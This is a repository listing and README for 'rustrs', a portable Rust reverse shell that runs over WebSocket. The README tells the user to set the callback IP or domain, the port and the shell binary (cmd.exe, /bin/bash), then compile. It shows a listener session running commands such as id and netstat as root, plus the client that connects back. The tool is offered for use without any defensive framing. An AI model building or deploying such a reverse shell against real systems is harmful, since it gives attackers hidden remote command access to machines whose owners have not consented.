https://github.com/potato-industries/rustrs
portable rust based websocket reverse shell
https://github.com/potato-industries/rustrs
reverse-shell rust websocket
Last synced: about 1 year ago
JSON representation
portable rust based websocket reverse shell
- Host: GitHub
- URL: https://github.com/potato-industries/rustrs
- Owner: Potato-Industries
- Created: 2019-11-27T20:15:14.000Z (over 6 years ago)
- Default Branch: master
- Last Pushed: 2019-11-27T21:05:50.000Z (over 6 years ago)
- Last Synced: 2025-04-04T17:51:50.697Z (about 1 year ago)
- Topics: reverse-shell, rust, websocket
- Language: Rust
- Homepage:
- Size: 6.84 KB
- Stars: 7
- Watchers: 2
- Forks: 2
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# rustrs
portable rust based websocket reverse shell
**Compile**
- Update script: ip/domain, port, binary (cmd.exe, /bin/bash, etc)
```
root@kali:/opt/rustrs# cargo build
Finished dev [unoptimized + debuginfo] target(s) in 0.02s
```
Build for target platform.
- https://forge.rust-lang.org/release/platform-support.html
**Usage**
WebSocket Listener
```
root@kali:/opt/rustrs/target/debug# ./server
waiting for new reverse websocket session..
new session started, connected.
$ id
uid=0(root) gid=0(root) groups=0(root)
$ netstat -pantwu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1/init
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN 28346/./server
```
WebSocket Client (reverse shell)
```
root@kali:/opt/rustrs/target/debug# ./client
```
Enjoy~